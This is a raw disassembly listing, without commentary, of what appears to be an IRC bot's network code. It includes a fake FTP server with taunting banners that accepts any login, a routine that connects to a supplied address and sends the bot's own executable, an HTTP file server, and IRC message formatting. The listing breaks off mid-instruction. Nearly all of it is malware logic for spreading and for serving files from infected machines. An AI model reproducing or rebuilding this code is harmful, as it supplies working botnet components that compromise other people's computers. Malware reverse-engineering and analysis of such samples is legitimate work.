inc ecx add edx, 4 cmp ecx, [ebp-228h] jb short loc_405CEF loc_405CFF: ; CODE XREF: .text:00405CE7j ; .text:00405CF1j cmp ecx, [ebp-228h] jnz short loc_405D1D cmp dword ptr [ebp-228h], 40h jnb short loc_405D1D mov [ebp+ecx*4-224h], eax inc dword ptr [ebp-228h] loc_405D1D: ; CODE XREF: .text:00405D05j ; .text:00405D0Ej cmp eax, [ebp-4] jle short loc_405D25 mov [ebp-4], eax loc_405D25: ; CODE XREF: .text:00405D20j push esi push 15h push offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n" push eax call ebx ; send jmp loc_406137 ; --------------------------------------------------------------------------- loc_405D35: ; CODE XREF: .text:00405CB9j push esi lea eax, [ebp-29Ch] push 64h push eax push edi call ds:dword_495534 ; recv test eax, eax jg short loc_405D9C mov edx, [ebp-228h] xor ecx, ecx cmp edx, esi jbe short loc_405D90 lea eax, [ebp-224h] loc_405D5C: ; CODE XREF: .text:00405D66j cmp [eax], edi jz short loc_405D6A inc ecx add eax, 4 cmp ecx, edx jb short loc_405D5C jmp short loc_405D90 ; --------------------------------------------------------------------------- loc_405D6A: ; CODE XREF: .text:00405D5Ej dec edx cmp ecx, edx jnb short loc_405D8A lea eax, [ebp+ecx*4-224h] loc_405D76: ; CODE XREF: .text:00405D88j mov edx, [eax+4] inc ecx mov [eax], edx mov edx, [ebp-228h] add eax, 4 dec edx cmp ecx, edx jb short loc_405D76 loc_405D8A: ; CODE XREF: .text:00405D6Dj dec dword ptr [ebp-228h] loc_405D90: ; CODE XREF: .text:00405D54j ; .text:00405D68j push edi call ds:dword_495538 ; closesocket jmp loc_406137 ; --------------------------------------------------------------------------- loc_405D9C: ; CODE XREF: .text:00405D48j lea eax, [ebp-334h] push eax lea eax, [ebp-0ACh] push eax lea eax, [ebp-29Ch] push offset aSS ; "%s %s" push eax call sub_416B36 lea eax, [ebp-0ACh] push offset aUser ; "USER" push eax call sub_416B70 add esp, 18h test eax, eax jnz short loc_405DE0 push esi push 16h push offset a331PasswordReq ; "331 Password required\n" jmp loc_406122 ; --------------------------------------------------------------------------- loc_405DE0: ; CODE XREF: .text:00405DD1j lea eax, [ebp-0ACh] push offset aPass ; "PASS" push eax call sub_416B70 pop ecx test eax, eax pop ecx jnz short loc_405E04 push esi push 14h push offset a230UserLoggedI ; "230 User logged in.\n" jmp loc_406122 ; --------------------------------------------------------------------------- loc_405E04: ; CODE XREF: .text:00405DF5j lea eax, [ebp-0ACh] push offset aSyst ; "SYST" push eax call sub_416B70 pop ecx test eax, eax pop ecx jnz short loc_405E28 push esi push 0Dh push offset a215Stnyftpd ; "215 StnyFtpd\n" jmp loc_406122 ; --------------------------------------------------------------------------- loc_405E28: ; CODE XREF: .text:00405E19j lea eax, [ebp-0ACh] push offset aRest ; "REST" push eax call sub_416B70 pop ecx test eax, eax pop ecx jnz short loc_405E4C push esi push 10h push offset a350Restarting_ ; "350 Restarting.\n" jmp loc_406122 ; --------------------------------------------------------------------------- loc_405E4C: ; CODE XREF: .text:00405E3Dj lea eax, [ebp-0ACh] push offset off_42BED0 push eax call sub_416B70 pop ecx test eax, eax pop ecx jnz short loc_405E70 push esi push 1Eh push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n" jmp loc_406122 ; --------------------------------------------------------------------------- loc_405E70: ; CODE XREF: .text:00405E61j lea eax, [ebp-0ACh] push offset aType ; "TYPE" push eax call sub_416B70 pop ecx test eax, eax pop ecx jnz short loc_405EAB lea eax, [ebp-334h] push offset aA ; "A" push eax call sub_416B70 pop ecx test eax, eax pop ecx jnz short loc_405EAB push esi push 13h push offset a200TypeSetToA_ ; "200 Type set to A.\n" jmp loc_406122 ; --------------------------------------------------------------------------- loc_405EAB: ; CODE XREF: .text:00405E85j ; .text:00405E9Cj lea eax, [ebp-0ACh] push offset aType ; "TYPE" push eax call sub_416B70 pop ecx test eax, eax pop ecx jnz short loc_405EE6 lea eax, [ebp-334h] push offset aI ; "I" push eax call sub_416B70 pop ecx test eax, eax pop ecx jnz short loc_405EE6 push esi push 13h push offset a200TypeSetToI_ ; "200 Type set to I.\n" jmp loc_406122 ; --------------------------------------------------------------------------- loc_405EE6: ; CODE XREF: .text:00405EC0j ; .text:00405ED7j lea eax, [ebp-0ACh] push offset aPasv ; "PASV" push eax call sub_416B70 pop ecx test eax, eax pop ecx jnz short loc_405F34 push 0Ah mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"... pop ecx lea edi, [ebp-124h] rep movsd push eax lea eax, [ebp-124h] push eax movsw call sub_4158E0 pop ecx push eax lea eax, [ebp-124h] loc_405F24: ; CODE XREF: .text:00405F73j push eax push dword ptr [ebp+8] call ebx ; send xor esi, esi loc_405F2C: ; CODE XREF: .text:00406043j mov edi, [ebp+8] jmp loc_406125 ; --------------------------------------------------------------------------- loc_405F34: ; CODE XREF: .text:00405EFBj lea eax, [ebp-0ACh] push offset aList ; "LIST" push eax call sub_416B70 pop ecx test eax, eax pop ecx jnz short loc_405F75 push 5 mov esi, offset a226TransferCom ; "226 Transfer complete\n" pop ecx lea edi, [ebp-0C4h] rep movsd movsw push eax lea eax, [ebp-0C4h] push eax movsb call sub_4158E0 pop ecx push eax lea eax, [ebp-0C4h] jmp short loc_405F24 ; --------------------------------------------------------------------------- loc_405F75: ; CODE XREF: .text:00405F49j lea eax, [ebp-0ACh] push offset aPort ; "PORT" push eax call sub_416B70 pop ecx test eax, eax pop ecx jnz loc_406048 lea eax, [ebp-2D0h] push eax lea eax, [ebp-0F8h] push eax lea eax, [ebp-20h] push eax lea eax, [ebp-14h] push eax lea eax, [ebp-10h] push eax lea eax, [ebp-1Ch] push eax lea eax, [ebp-29Ch] push offset aS_0 ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"... push eax call sub_416B36 lea eax, [ebp-0F8h] push eax call sub_416CCF mov edi, eax lea eax, [ebp-2D0h] push eax call sub_416CCF mov [ebp-8], eax push 32h lea eax, [ebp-0F8h] push esi push eax call sub_415CA0 push dword ptr [ebp-8] lea eax, [ebp-0F8h] push edi push offset aXX ; "%x%x\n" push eax call sub_416821 add esp, 44h lea eax, [ebp-0F8h] push 10h push esi push eax call sub_4174DB mov [ebp-8], eax lea eax, [ebp-20h] push eax lea eax, [ebp-14h] push eax lea eax, [ebp-10h] push eax lea eax, [ebp-1Ch] push eax lea eax, [ebp-48h] push offset aS_S_S_S ; "%s.%s.%s.%s" push eax call sub_416821 add esp, 24h push esi push 1Dh push offset a200PortCommand ; "200 PORT command successful.\n" push dword ptr [ebp+8] call ebx ; send jmp loc_405F2C ; --------------------------------------------------------------------------- loc_406048: ; CODE XREF: .text:00405F8Aj lea eax, [ebp-0ACh] push offset aRetr ; "RETR" push eax call sub_416B70 pop ecx test eax, eax pop ecx jnz loc_406103 push esi push 28h push offset a150OpeningBina ; "150 Opening BINARY mode data connection"... push edi call ebx ; send push dword ptr [ebp-8] lea eax, [ebp-48h] push eax call sub_401267 pop ecx cmp eax, 1 pop ecx jnz short loc_4060F9 call sub_4012DF cmp eax, 1 jnz loc_406125 push esi push 17h push offset a226TransferC_0 ; "226 Transfer complete.\n" push edi call ebx ; send lea eax, [ebp-6D8h] push eax lea eax, [ebp-48h] push dword_43DB94 push eax lea eax, [ebp-8DCh] push offset dword_42BD04 push eax call sub_416821 add esp, 14h cmp [ebp-440h], esi jnz short loc_4060EA push esi lea eax, [ebp-8DCh] push dword ptr [ebp-444h] push eax lea eax, [ebp-4C4h] push eax push dword ptr [ebp-6DCh] call sub_4010D2 add esp, 14h loc_4060EA: ; CODE XREF: .text:004060C5j lea eax, [ebp-8DCh] push eax call sub_401014 pop ecx jmp short loc_406125 ; --------------------------------------------------------------------------- loc_4060F9: ; CODE XREF: .text:0040607Fj push esi push 20h push offset a425CanTOpenDat ; "425 Can't open data connection.\n" jmp short loc_406122 ; --------------------------------------------------------------------------- loc_406103: ; CODE XREF: .text:0040605Dj lea eax, [ebp-0ACh] push offset aQuit ; "QUIT" push eax call sub_416B70 pop ecx test eax, eax pop ecx jnz short loc_406125 push esi push 1Bh push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n" loc_406122: ; CODE XREF: .text:00405DDBj ; .text:00405DFFj ... push edi call ebx ; send loc_406125: ; CODE XREF: .text:00405F2Fj ; .text:00406089j ... push 64h lea eax, [ebp-29Ch] push esi push eax call sub_415CA0 add esp, 0Ch loc_406137: ; CODE XREF: .text:00405CB0j ; .text:00405CD9j ... inc edi cmp edi, [ebp-4] mov [ebp+8], edi jle loc_405C7E jmp loc_405C43 ; --------------------------------------------------------------------------- loc_406149: ; CODE XREF: .text:00405C6Ej push 1 pop eax loc_40614C: ; CODE XREF: .text:00405C20j pop edi pop esi pop ebx leave retn 4 ; --------------------------------------------------------------------------- db 180h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4062D3 proc near ; CODE XREF: sub_401267j var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp+var_1A0] push eax push 101h call ds:dword_495518 ; WSAStartup push 0 push 1 push 2 call ds:dword_49553C ; socket push [ebp+arg_0] mov dword_43DB90, eax mov [ebp+var_10], 2 call ds:dword_49550C ; inet_addr push [ebp+arg_4] mov [ebp+var_C], eax call ds:dword_495524 ; htons mov [ebp+var_E], ax lea eax, [ebp+var_10] push 10h push eax push dword_43DB90 call ds:dword_495510 ; connect cmp eax, 0FFFFFFFFh jnz short loc_40634B push dword_43DB90 call ds:dword_495538 ; closesocket call ds:dword_495514 ; WSACleanup xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40634B: ; CODE XREF: sub_4062D3+60j push 1 pop eax leave retn sub_4062D3 endp ; --------------------------------------------------------------------------- db 1Fh dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40636F proc near ; CODE XREF: sub_4012DFj var_504 = byte ptr -504h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp+var_104] push 104h push eax push 0 call ds:dword_495330 ; GetModuleFileNameA lea eax, [ebp+var_104] push offset dword_42B830 push eax call sub_417012 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_406406 test byte ptr [esi+0Ch], 10h jnz short loc_4063EA push edi mov edi, 400h loc_4063B2: ; CODE XREF: sub_40636F+78j push esi push 1 lea eax, [ebp+var_504] push edi push eax call sub_416DEA add esp, 10h lea eax, [ebp+var_504] push 0 push edi push eax push dword_43DB90 call ds:dword_495540 ; send push 1 call ds:dword_495324 ; Sleep test byte ptr [esi+0Ch], 10h jz short loc_4063B2 pop edi loc_4063EA: ; CODE XREF: sub_40636F+3Bj push esi call sub_416D94 pop ecx push dword_43DB90 call ds:dword_495538 ; closesocket call ds:dword_495514 ; WSACleanup push 1 pop eax loc_406406: ; CODE XREF: sub_40636F+35j pop esi leave retn sub_40636F endp ; --------------------------------------------------------------------------- db 26h dup(0CCh) ; --------------------------------------------------------------------------- loc_40642F: ; CODE XREF: sub_4012F8j push ebp mov ebp, esp mov eax, 28F0h call sub_416880 mov eax, [ebp+8] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp-5ECh] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp-24h] push ebx push eax mov [ebp-14h], esi call sub_415CA0 add esp, 0Ch mov word ptr [ebp-24h], 2 push dword ptr [ebp-25Ch] call dword_49165C ; htons push ebx push esi push 2 mov [ebp-22h], ax mov [ebp-20h], ebx call dword_4916DC ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp-0Ch], edi jz loc_40681A mov eax, [ebp-254h] push 10h imul eax, 234h mov dword_43E92C[eax], edi lea eax, [ebp-24h] push eax push edi call dword_491688 ; bind cmp eax, 0FFFFFFFFh jz loc_40681A push 7FFFFFFFh push edi call dword_491684 ; listen cmp eax, 0FFFFFFFFh jz loc_40681A lea eax, [ebp-14h] push eax push 8004667Eh push edi call dword_4916F8 ; ioctlsocket cmp eax, 0FFFFFFFFh jz loc_40681A mov ebx, esi mov [ebp-134h], edi mov [ebp-138h], ebx mov [ebp-8], edi loc_406506: ; CODE XREF: .text:00406810j push 41h xor eax, eax pop ecx lea esi, [ebp-138h] push eax push eax push eax lea eax, [ebp-6F0h] push eax mov eax, [ebp-8] lea edi, [ebp-6F0h] inc eax rep movsd push eax call dword_491644 ; select cmp eax, 0FFFFFFFFh jz loc_406815 xor esi, esi mov [ebp-4], esi loc_40653C: ; CODE XREF: .text:0040680Aj lea eax, [ebp-6F0h] push eax push esi call dword_491554 ; __WSAFDIsSet test eax, eax jz loc_406800 cmp esi, [ebp-0Ch] jnz short loc_4065BE lea eax, [ebp-10h] mov dword ptr [ebp-10h], 10h push eax lea eax, [ebp-34h] push eax push dword ptr [ebp-0Ch] call dword_4916F0 ; accept cmp eax, 0FFFFFFFFh jz loc_406800 xor ecx, ecx test ebx, ebx jbe short loc_406590 lea edx, [ebp-134h] loc_406584: ; CODE XREF: .text:0040658Ej cmp [edx], eax jz short loc_406590 inc ecx add edx, 4 cmp ecx, ebx jb short loc_406584 loc_406590: ; CODE XREF: .text:0040657Cj ; .text:00406586j cmp ecx, ebx jnz short loc_4065AD cmp ebx, 40h jnb short loc_4065AD mov [ebp+ecx*4-134h], eax mov ebx, [ebp-138h] inc ebx mov [ebp-138h], ebx loc_4065AD: ; CODE XREF: .text:00406592j ; .text:00406597j cmp eax, [ebp-8] jbe loc_406800 mov [ebp-8], eax jmp loc_406800 ; --------------------------------------------------------------------------- loc_4065BE: ; CODE XREF: .text:00406555j mov edi, 1000h lea eax, [ebp-28F0h] push edi push 0 push eax call sub_415CA0 push edi lea eax, [ebp-18F0h] push 0 push eax call sub_415CA0 add esp, 18h lea eax, [ebp-28F0h] push 0 push edi push eax push esi call dword_491674 ; recv test eax, eax jg short loc_406651 push esi call dword_4916F4 ; closesocket xor ecx, ecx test ebx, ebx jbe loc_406800 lea eax, [ebp-134h] loc_406610: ; CODE XREF: .text:0040661Aj cmp [eax], esi jz short loc_406621 inc ecx add eax, 4 cmp ecx, ebx jb short loc_406610 jmp loc_406800 ; --------------------------------------------------------------------------- loc_406621: ; CODE XREF: .text:00406612j lea eax, [ebx-1] cmp ecx, eax jnb short loc_406645 lea eax, [ebp+ecx*4-134h] loc_40662F: ; CODE XREF: .text:00406643j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp-138h] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40662F loc_406645: ; CODE XREF: .text:00406626j dec ebx mov [ebp-138h], ebx jmp loc_406800 ; --------------------------------------------------------------------------- loc_406651: ; CODE XREF: .text:004065F7j xor esi, esi push 104h lea eax, [ebp-23Ch] push esi push eax call sub_415CA0 lea eax, [ebp-28F0h] mov [ebp+8], esi push eax call sub_4158E0 add esp, 10h test eax, eax jbe loc_406800 loc_40667F: ; CODE XREF: .text:00406738j mov eax, [ebp+8] mov al, [ebp+eax-28F0h] cmp al, 0Ah mov [ebp+esi-18F0h], al jnz loc_406724 mov esi, offset aGet ; "GET " lea eax, [ebp-18F0h] push esi push eax call sub_417760 pop ecx test eax, eax pop ecx jz short loc_4066F8 lea eax, [ebp-18F0h] push eax call sub_4158E0 cmp eax, 5 pop ecx jbe short loc_4066F8 mov eax, offset asc_42BFC4 ; " " push eax push eax lea eax, [ebp-18F0h] push esi push eax call sub_417760 pop ecx pop ecx push eax call sub_417760 pop ecx pop ecx push eax call sub_4176C0 push eax lea eax, [ebp-23Ch] push eax call sub_4175D0 add esp, 10h jmp short loc_40670F ; --------------------------------------------------------------------------- loc_4066F8: ; CODE XREF: .text:004066AEj ; .text:004066C0j lea eax, [ebp-18F0h] push offset asc_42BFC0 ; "\r\n" push eax call sub_416B70 pop ecx test eax, eax pop ecx jz short loc_406743 loc_40670F: ; CODE XREF: .text:004066F6j push edi lea eax, [ebp-18F0h] push 0 push eax call sub_415CA0 add esp, 0Ch or esi, 0FFFFFFFFh loc_406724: ; CODE XREF: .text:00406692j inc dword ptr [ebp+8] lea eax, [ebp-28F0h] push eax inc esi call sub_4158E0 cmp [ebp+8], eax pop ecx jb loc_40667F jmp loc_406800 ; --------------------------------------------------------------------------- loc_406743: ; CODE XREF: .text:0040670Dj xor ecx, ecx test ebx, ebx jbe short loc_40678D lea eax, [ebp-134h] loc_40674F: ; CODE XREF: .text:0040675Cj mov esi, [ebp-4] cmp [eax], esi jz short loc_406760 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40674F jmp short loc_406790 ; --------------------------------------------------------------------------- loc_406760: ; CODE XREF: .text:00406754j lea eax, [ebx-1] cmp ecx, eax jnb short loc_406784 lea eax, [ebp+ecx*4-134h] loc_40676E: ; CODE XREF: .text:00406782j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp-138h] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40676E loc_406784: ; CODE XREF: .text:00406765j dec ebx mov [ebp-138h], ebx jmp short loc_406790 ; --------------------------------------------------------------------------- loc_40678D: ; CODE XREF: .text:00406747j mov esi, [ebp-4] loc_406790: ; CODE XREF: .text:0040675Ej ; .text:0040678Bj lea eax, [ebp-23Ch] test eax, eax jz short loc_4067F9 lea eax, [ebp-360h] push eax call sub_4158E0 mov edi, eax lea eax, [ebp-23Ch] push eax call sub_4158E0 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_4067F9 and dword ptr [ebp+8], 0 lea eax, [ebp+8] push eax push 8004667Eh push esi call dword_4916F8 ; ioctlsocket push dword ptr [ebp-254h] lea eax, [ebp-23Ch] push dword ptr [ebp-248h] push eax lea eax, [ebp-360h] push eax push esi call sub_401325 add esp, 14h jmp short loc_406800 ; --------------------------------------------------------------------------- loc_4067F9: ; CODE XREF: .text:00406798j ; .text:004067BEj push esi call dword_4916F4 ; closesocket loc_406800: ; CODE XREF: .text:0040654Cj ; .text:00406572j ... mov esi, [ebp-4] inc esi cmp esi, [ebp-8] mov [ebp-4], esi jbe loc_40653C jmp loc_406506 ; --------------------------------------------------------------------------- loc_406815: ; CODE XREF: .text:00406531j mov edi, [ebp-0Ch] xor ebx, ebx loc_40681A: ; CODE XREF: .text:00406499j ; .text:004064C1j ... call dword_4915F0 ; WSAGetLastError push eax lea eax, [ebp-8F0h] push offset unk_42BF74 push eax call sub_416821 add esp, 0Ch cmp [ebp-24Ch], ebx jnz short loc_406860 push ebx lea eax, [ebp-8F0h] push dword ptr [ebp-250h] push eax lea eax, [ebp-5E8h] push eax push dword ptr [ebp-5ECh] call sub_4010D2 add esp, 14h loc_406860: ; CODE XREF: .text:0040683Bj lea eax, [ebp-8F0h] push eax call sub_401014 pop ecx push edi call dword_4916F4 ; closesocket push dword ptr [ebp-254h] call sub_4012A3 pop ecx push ebx call ds:dword_495334 ; ExitThread pop edi pop esi pop ebx ; --------------------------------------------------------------------------- db 116h dup(0CCh) ; --------------------------------------------------------------------------- loc_4069A0: ; CODE XREF: sub_401181j push ebp mov ebp, esp mov eax, 1654h call sub_416880 mov eax, [ebp+8] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp-44Ch] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp-3C8h] push eax lea eax, [ebp-550h] push eax call sub_416821 lea eax, [ebp-2C4h] push eax lea eax, [ebp-654h] push eax call sub_416821 xor edi, edi add esp, 10h cmp [ebp-0A4h], edi jz short loc_406A05 push offset aTextHtml ; "text/html" jmp short loc_406A0A ; --------------------------------------------------------------------------- loc_406A05: ; CODE XREF: .text:004069FCj push offset aApplicationOct ; "application/octet-stream" loc_406A0A: ; CODE XREF: .text:00406A03j lea eax, [ebp-9Ch] push eax call sub_416821 pop ecx lea eax, [ebp-68h] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi call ds:dword_49536C ; GetDateFormatA lea eax, [ebp-20h] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi call ds:dword_495368 ; GetTimeFormatA lea eax, [ebp-20h] cmp dword ptr [ebp-0B8h], 0FFFFFFFFh push eax lea eax, [ebp-68h] push eax lea eax, [ebp-20h] push eax lea eax, [ebp-68h] push eax lea eax, [ebp-20h] push eax lea eax, [ebp-68h] push eax jnz short loc_406A83 lea eax, [ebp-9Ch] push eax lea eax, [ebp-1654h] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_416821 add esp, 24h jmp short loc_406AA4 ; --------------------------------------------------------------------------- loc_406A83: ; CODE XREF: .text:00406A64j push dword ptr [ebp-0B8h] lea eax, [ebp-9Ch] push eax lea eax, [ebp-1654h] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_416821 add esp, 28h loc_406AA4: ; CODE XREF: .text:00406A81j lea eax, [ebp-1654h] push edi push eax call sub_4158E0 pop ecx push eax lea eax, [ebp-1654h] push eax push dword ptr [ebp-44Ch] call dword_4916AC ; send cmp [ebp-0A4h], edi jnz short loc_406AE4 lea eax, [ebp-550h] push eax push dword ptr [ebp-44Ch] call sub_401203 pop ecx pop ecx jmp short loc_406B01 ; --------------------------------------------------------------------------- loc_406AE4: ; CODE XREF: .text:00406ACCj lea eax, [ebp-654h] push eax push edi push dword ptr [ebp-44Ch] lea eax, [ebp-550h] push eax call sub_401118 add esp, 10h loc_406B01: ; CODE XREF: .text:00406AE2j push dword ptr [ebp-44Ch] call dword_4916F4 ; closesocket push dword ptr [ebp-0B4h] call sub_4012A3 pop ecx push edi call ds:dword_495334 ; ExitThread pop edi pop esi ; --------------------------------------------------------------------------- db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406B82 proc near ; CODE XREF: sub_401325j var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_415CA0 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_406BB8 push eax push offset aS_5 ; "\\%s" jmp short loc_406BC1 ; --------------------------------------------------------------------------- loc_406BB8: ; CODE XREF: sub_406B82+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_2 ; "%s" loc_406BC1: ; CODE XREF: sub_406B82+34j lea eax, [ebp+var_10C] push eax call sub_416821 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_4158E0 test eax, eax pop ecx jbe short loc_406C5C mov [ebp+arg_8], 2 loc_406BEC: ; CODE XREF: sub_406B82+D8j lea eax, [ebp+var_10C] push eax call sub_4158E0 cmp [ebp+arg_8], eax pop ecx jnb short loc_406C2C cmp [ebp+esi+var_10C], 25h jnz short loc_406C2C cmp [ebp+esi+var_10B], 32h jnz short loc_406C2C cmp [ebp+esi+var_10A], 30h jnz short loc_406C2C inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_406C46 ; --------------------------------------------------------------------------- loc_406C2C: ; CODE XREF: sub_406B82+7Aj ; sub_406B82+84j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_406C3C push 5Ch pop eax jmp short loc_406C3F ; --------------------------------------------------------------------------- loc_406C3C: ; CODE XREF: sub_406B82+B3j movsx eax, al loc_406C3F: ; CODE XREF: sub_406B82+B8j mov [ebp+ebx+var_210], al loc_406C46: ; CODE XREF: sub_406B82+A8j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_4158E0 cmp esi, eax pop ecx jb short loc_406BEC loc_406C5C: ; CODE XREF: sub_406B82+61j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset aSS_0 ; "%s%s" push eax call sub_416821 lea eax, [ebp+var_314] push offset dword_42C2E0 push eax call sub_4176C0 add esp, 18h lea eax, [ebp+var_314] push eax call ds:dword_495374 ; GetFileAttributesA push 1 cmp eax, 10h pop esi jz short loc_406CAA cmp eax, 0FFFFFFFFh jnz short loc_406CAD push [ebp+arg_0] jmp short loc_406D29 ; --------------------------------------------------------------------------- loc_406CAA: ; CODE XREF: sub_406B82+11Cj mov [ebp+var_4], esi loc_406CAD: ; CODE XREF: sub_406B82+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_406CBA mov [ebp+var_4], esi loc_406CBA: ; CODE XREF: sub_406B82+133j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_406D34 cmp [ebp+arg_C], edi jz short loc_406D28 lea eax, [ebp+var_314] push offset dword_42C2DC push eax call sub_4175E0 lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_416821 lea eax, [ebp+var_210] push eax call sub_40118B lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_416821 add esp, 1Ch or [ebp+var_330], 0FFFFFFFFh mov [ebp+var_31C], esi jmp short loc_406D83 ; --------------------------------------------------------------------------- loc_406D28: ; CODE XREF: sub_406B82+14Fj push ebx loc_406D29: ; CODE XREF: sub_406B82+126j call dword_4916F4 ; closesocket jmp loc_406E2B ; --------------------------------------------------------------------------- loc_406D34: ; CODE XREF: sub_406B82+14Aj push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax call ds:dword_495360 ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_406D83 lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_416821 pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi call ds:dword_495370 ; GetFileSize push esi mov [ebp+var_330], eax call ds:dword_495358 ; CloseHandle loc_406D83: ; CODE XREF: sub_406B82+1A4j ; sub_406B82+1CFj mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_42C294 push eax call sub_416821 push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_40105F mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_43E924[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_401181 push edi push edi call ds:dword_49532C ; CreateThread mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_43E934[ecx], eax jz short loc_406DFD loc_406DEB: ; CODE XREF: sub_406B82+279j cmp [ebp+var_318], edi jnz short loc_406E2B push 5 call ds:dword_495324 ; Sleep jmp short loc_406DEB ; --------------------------------------------------------------------------- loc_406DFD: ; CODE XREF: sub_406B82+267j push ebx call dword_4916F4 ; closesocket call ds:dword_495328 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_8C4] push offset unk_42C244 push eax call sub_416821 lea eax, [ebp+var_8C4] push eax call sub_401014 add esp, 10h loc_406E2B: ; CODE XREF: sub_406B82+1ADj ; sub_406B82+26Fj pop edi pop esi xor eax, eax pop ebx leave retn sub_406B82 endp ; --------------------------------------------------------------------------- db 0ACh dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406EDE proc near ; CODE XREF: sub_401118j var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_415CA0 mov edi, [ebp+arg_0] push offset dword_42C2E0 push edi call sub_4176C0 add esp, 14h cmp [ebp+arg_8], ebx jz short loc_406F3D push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_4163D7 add esp, 14h jmp loc_40703A ; --------------------------------------------------------------------------- loc_406F3D: ; CODE XREF: sub_406EDE+3Aj cmp [ebp+arg_C], ebx push edi jz loc_407020 call sub_4158E0 mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_4163D7 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_4158E0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4916AC ; send push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_4163D7 add esp, 10h lea eax, 